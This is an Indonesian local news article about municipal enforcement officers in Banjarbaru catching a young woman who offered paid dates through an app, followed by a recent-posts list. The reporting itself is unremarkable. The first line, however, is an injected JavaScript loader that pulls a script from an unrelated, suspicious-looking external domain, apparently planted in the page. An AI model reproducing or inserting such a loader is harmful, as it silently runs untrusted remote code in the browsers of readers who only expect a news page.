(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tawarkan Kencan Via Aplikasi, SL Terciduk Satpol PP ‘Siap Layani’ di Kos


KANALKALIMANTAN.COM, BANJARBARU – SL perempuan muda masih berumur 23 tahun di Kota Banjarbaru terlibat prostitusi dengan tawarkan diri via aplikasi.

Perempuan berambut pendek itu digiring ke Mako Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru untuk dimintai keterangan, Rabu (6/3/2024) siang.

Kepala Satpol PP Kota Banjarbaru Hidayaturahman mengatakan, praktik prostitusi online ini terbongkar setelah personel penegak Perda melakukan penyelidikan dengan cara memancing perempuan muda itu lewat aplikasi.

Baca juga: Bawaslu Kalsel Minta Penjelasan KPU Banjarbaru

Kepala Satpol PP Kota Banjarbaru Hidayaturahman. Foto: wanda

“Informasi awal kita dapatkan dari masyarakat yang melapor. Kemudian petugas menyamar menjadi pemesan, memancing pelaku untuk diketahui keberadaannya,” ujar Kasatpol PP Banjarbaru kepada Kanalkalimantan.

SL yang tidak mengetahui bahwa pemesan itu adalah petugas Satpol PP Banjarbaru. SL kemudian langsung menuju ke sebuah kos. Ketika di lokasi, pelaku tidak bisa mengelak saat ditangkap petugas.

“Terhadap terduga pelaku itu kami bawa untuk dilakukan pemeriksaan,” jelas Kasatpol PP.

Dari pengakuan SL, dia sudah menjalankan prostitusi online tersebut selama dua bulan.

Baca juga: Transformasi MPP Banjarbaru Menjadi MPP Digital Status Aktif

Dia mengaku sering menawarkan diri di aplikasi dengan tarif Rp250 – Rp350 ribu untuk satu kali kencan.

“Sejak sekitar Desember akhir dan melakukan hubungan di sebuah rumah sewaan atau kos, dan rata-rata sehari maksimal dua kali melakukan,” ujar SL saat diperiksa petugas.

Kasatpol PP Banjarbaru menyebutkan bahwa kos tersebut tidak terindikasi sebagai tempat yang kerap dijadikan tempat transaksi prostitusi online.

Kendati demikian petugas tetap memberikan peringatan agar pemilik kos lebih menjaga dan mengawasi lokasi kos tersebut.

Baca juga: Warga Serbu Pasar Murah yang Digelar Pemkab Banjar

“Kos normal saja, tapi disalahgunakan oleh pelaku, sehingga pemilik kos juga kita beri peringatan,” tuntas Kasatpol PP.

Atas perbuatannya, SL siap menjalani sidang atas pelanggaran Peraturan Daerah (Perda) Kota Banjarbaru. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Hari Kopassus 16 April, Ini Sejarah Korps Baret Merah “Berani, Benar, Berhasil”

KANALKALIMANTAN.COM - Hari Kopassus (Komando Pasukan Khusus) diperingati setiap 16 April. Komando Pasukan Khusus atau… Read More

9 jam ago

Bagian Organisasi Setda Banjar Gelar Penguatan AKIP

KANALKALIMANTAN.COM, BANJARBARU - Bagian Organisasi Setda Kabupaten Banjar menggelar kegiatan Penguatan Implementasi Akuntabilitas Kinerja Instansi… Read More

10 jam ago

Dorong Inovasi dan Kualitas Pekerjaan Konstruksi, PUPR Kalsel Gelar Sosialisasi Jasa Konstruksi

KANALKALIMANTAN.COM, BANJARBARU - Dalam rangka memberikan pemahaman mendalam tentang tata cara penyusunan perkiraan biaya pekerjaan… Read More

10 jam ago

Pengamanan PSU Polres Banjarbaru Dibackup BKO Polda Kalsel, Satuan Brimob hingga Polres Tetangga

KANALKALIMANTAN.COM, BANJARBARU - Jajaran personel Polres Banjarbaru melaksanakan Tactical Floor Game (TFG) dalam rangka persiapan… Read More

11 jam ago

DPMPTSP Kapuas Petakan Potensi dan Peluang Investasi

KANALKALIMANTAN.COM, KUALA KAPUAS - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Kapuas… Read More

11 jam ago

Precia Raih Predikat Terbaik I Lomba Bertutur Tingkat SD/MI se-Kabupaten Banjar

KANALKALIMANTAN.COM - MARTAPURA - Precia Joanna Sitorus dari SD Mitra Kasih School meraih predikat Terbaik… Read More

15 jam ago

This website uses cookies.